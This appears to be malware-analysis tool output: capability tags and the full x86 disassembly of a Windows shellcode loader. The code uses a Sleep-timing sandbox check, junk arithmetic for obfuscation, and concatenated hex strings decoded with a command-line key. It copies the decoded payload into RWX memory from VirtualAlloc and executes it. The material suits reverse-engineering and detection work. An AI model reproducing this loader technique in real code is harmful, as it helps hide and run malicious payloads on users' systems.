Function at 0x4017a5
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x4e8
mov esi, ecx
call sym.___main
call sym._clock
mov dword [ebp - 0x1c], eax
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov dword [esp], 0x278
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
call sym._clock
mov dword [ebp - 0x20], eax
mov edx, dword [0x404004]
mov eax, dword [0x404004]
imul eax, edx
mov dword [0x404004], eax
mov dword [esp], 0x640
call sym._malloc
mov dword [ebp - 0x24], eax
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x1c]
cmp eax, 0x277
jle 0x402019
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x1c]
cmp eax, 0x2db
jg 0x402019
mov edx, dword [0x404004]
mov eax, dword [0x404004]
imul eax, edx
mov dword [0x404004], eax
mov dword [esp], str.GESSaY
call sym._printf
mov dword [ebp - 0x28], str.95c73e8650dc0f5ecf156223c32fcd4dc9f
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov dword [ebp - 0x2c], str.d6e60b21f046152098e77a312960fdf7709bcd2f8afa9b040613c8ee21a
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov dword [ebp - 0x30], str.107e878856546ff56838e8981c0c4
mov dword [0x404004], 0
mov dword [ebp - 0x34], str.df75d46655653588c85dbe0c3bda15c4763453524e9ac9fce
mov edx, dword [0x404004]
mov eax, dword [0x404004]
imul eax, edx
mov dword [0x404004], eax
mov dword [ebp - 0x38], str.b661f802d625df951cadb0c40d5a1f4814d57711b25354258009e1b2
mov edx, dword [0x404004]
mov eax, dword [0x404004]
imul eax, edx
mov dword [0x404004], eax
mov dword [ebp - 0x3c], str.38fdfc5de5395ed2a9713923c46ce7a525533289a1f08208003280
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov dword [ebp - 0x40], str.257555556dc8ce86000e0792c5f66654250dc38b685ac0db357d043a6eb595f3c2bc181b1dbb
mov edx, dword [0x404004]
mov eax, dword [0x404004]
imul eax, edx
mov dword [0x404004], eax
mov dword [ebp - 0x44], str.464f71108f353590b111af67e
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov dword [ebp - 0x48], str.14dcc30e0dec2023285e04573248a95a39065d0e572c7d8c758280f65670f5d0cc5f00f8b97dc846642320e
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov dword [ebp - 0x4c], str.e51f2131a171649b042b45008ef08b2270040b844b01898b0b0f1a16f108254619e012931bacd9a6a
mov dword [0x404004], 0
mov dword [ebp - 0x50], str.b1774f265872d10040095f
mov dword [0x404004], 0
mov dword [ebp - 0x54], str.98820e453a320
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov dword [ebp - 0x58], str.5e633c5e033f0a65d908c88b5e2226473302
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov dword [ebp - 0x5c], str.2110eec21a5b032b402f6a00e7f3908c2b0bc84bb285a1052e1b08815908ccab035af957b00fda73dee591c255
mov dword [0x404004], 0
mov dword [ebp - 0x60], str.943038880020f30307f888cf08517
mov dword [0x404004], 0
mov dword [ebp - 0x64], str.d530d42f70645beef9
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov dword [ebp - 0x68], str.5f88e0336272323baf8800ee2499f940b160502
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov dword [ebp - 0x6c], str.fc3302f100b91d13bb7f6b0f05f80957ff80c211b904440f0e7ae
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov dword [ebp - 0x70], str.bd4145e6eaea16795100800f54105b65d44c7dd686f750f855130200f807af1e257273652d72202d1c0f7371
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov dword [ebp - 0x74], str.c0fe1601600d8330b7c21
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov dword [ebp - 0x78], str.8cf3311a9790064b761b1a01b6eb0d495ee1844475
mov dword [0x404004], 0
mov dword [ebp - 0x7c], str.1594a4b1c53f44eac2640708537e0843501300605560a00c5e50fe5623f72bb449763626738e
mov dword [0x404004], 0
mov dword [ebp - 0x80], str.e1c694d08b906f22d67c05068c2204ac7c83d46c9fe
mov dword [0x404004], 0
mov dword [ebp - 0x84], str.6700f287df9e7f7f791a2603500ee2fa9b7
mov dword [0x404004], 0
mov dword [ebp - 0x88], str.3b2c9e1e26e
mov dword [0x404004], 0
mov dword [ebp - 0x8c], str.e245def001751e8662a838e0f8
mov dword [0x404004], 0
mov dword [ebp - 0x90], str.15562f05956628f350
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov dword [ebp - 0x94], str.bf3b70860662736624c2fcf9a7eac70d44f488c00d5c0330260b2b315b8a897f03920a8591f04fdbc4bec570d0994
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov dword [ebp - 0x98], str.5f48da4106e8d384ce6f2a009707128d3c545dc7055557d05855f6f8ff07f61a12827626
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov dword [ebp - 0x9c], str.3667dbc3127b3582027bd461eb645e70
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov dword [ebp - 0xa0], str.3391112b8170cb104c540722f664f107f28829d3218fb74e1c3464921ce0963167ae6680194b0ee
mov dword [0x404004], 0
mov dword [ebp - 0xa4], str.3f318203e48fe64e865555570d33c240758222466256679176fb3a653b067
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov dword [ebp - 0xa8], str.9a9fda0058c8325f008bf89833459fb72d305754a2b9cd430369
mov dword [0x404004], 0
mov dword [ebp - 0x4db], 0
lea eax, [ebp - 0x4d7]
mov ecx, 0x427
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcpy
mov edx, dword [0x404004]
mov eax, dword [0x404004]
imul eax, edx
mov dword [0x404004], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov dword [0x404004], 0
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x404004]
mov eax, dword [0x404004]
imul eax, edx
mov dword [0x404004], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov dword [0x404004], 0
mov eax, dword [ebp - 0x40]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov dword [0x404004], 0
mov eax, dword [ebp - 0x44]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov dword [0x404004], 0
mov eax, dword [ebp - 0x48]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x404004]
mov eax, dword [0x404004]
imul eax, edx
mov dword [0x404004], eax
mov eax, dword [ebp - 0x4c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov dword [0x404004], 0
mov eax, dword [ebp - 0x50]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov dword [0x404004], 0
mov eax, dword [ebp - 0x54]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x404004]
mov eax, dword [0x404004]
imul eax, edx
mov dword [0x404004], eax
mov eax, dword [ebp - 0x58]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x404004]
mov eax, dword [0x404004]
imul eax, edx
mov dword [0x404004], eax
mov eax, dword [ebp - 0x5c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov eax, dword [ebp - 0x60]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov eax, dword [ebp - 0x64]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov eax, dword [ebp - 0x68]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov eax, dword [ebp - 0x6c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov dword [0x404004], 0
mov eax, dword [ebp - 0x70]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov eax, dword [ebp - 0x74]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x404004]
mov eax, dword [0x404004]
imul eax, edx
mov dword [0x404004], eax
mov eax, dword [ebp - 0x78]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x404004]
mov eax, dword [0x404004]
imul eax, edx
mov dword [0x404004], eax
mov eax, dword [ebp - 0x7c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov eax, dword [ebp - 0x80]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x404004]
mov eax, dword [0x404004]
imul eax, edx
mov dword [0x404004], eax
mov eax, dword [ebp - 0x84]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov dword [0x404004], 0
mov eax, dword [ebp - 0x88]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov eax, dword [ebp - 0x8c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov dword [0x404004], 0
mov eax, dword [ebp - 0x90]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x404004]
mov eax, dword [0x404004]
imul eax, edx
mov dword [0x404004], eax
mov eax, dword [ebp - 0x94]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov eax, dword [ebp - 0x98]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov eax, dword [ebp - 0x9c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x404004]
mov eax, dword [0x404004]
imul eax, edx
mov dword [0x404004], eax
mov eax, dword [ebp - 0xa0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x404004]
mov eax, dword [0x404004]
imul eax, edx
mov dword [0x404004], eax
mov eax, dword [ebp - 0xa4]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov eax, dword [ebp - 0xa8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov dword [0x404004], 0
mov eax, dword [esi + 4]
add eax, 4
mov eax, dword [eax]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._cjSF
mov dword [ebp - 0xac], eax
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov eax, dword [ebp - 0xac]
mov dword [esp + 4], eax
lea eax, [ebp - 0x4db]
mov dword [esp], eax
call sym._MuST
mov eax, dword [0x404004]
add eax, eax
mov dword [0x404004], eax
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x42b
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0xb0], eax
mov dword [esp + 8], 0x42b
lea eax, [ebp - 0x4db]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xb0]
mov dword [esp], eax
call sym._memmove
mov eax, dword [ebp - 0xb0]
call eax
mov edx, dword [0x404004]
mov eax, dword [0x404008]
add eax, edx
mov dword [esp + 4], eax
mov dword [esp], 0x40568d
call sym._printf
jmp 0x40202f
mov dword [0x404004], 0
mov dword [esp], str.GESSaY
call sym._printf
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret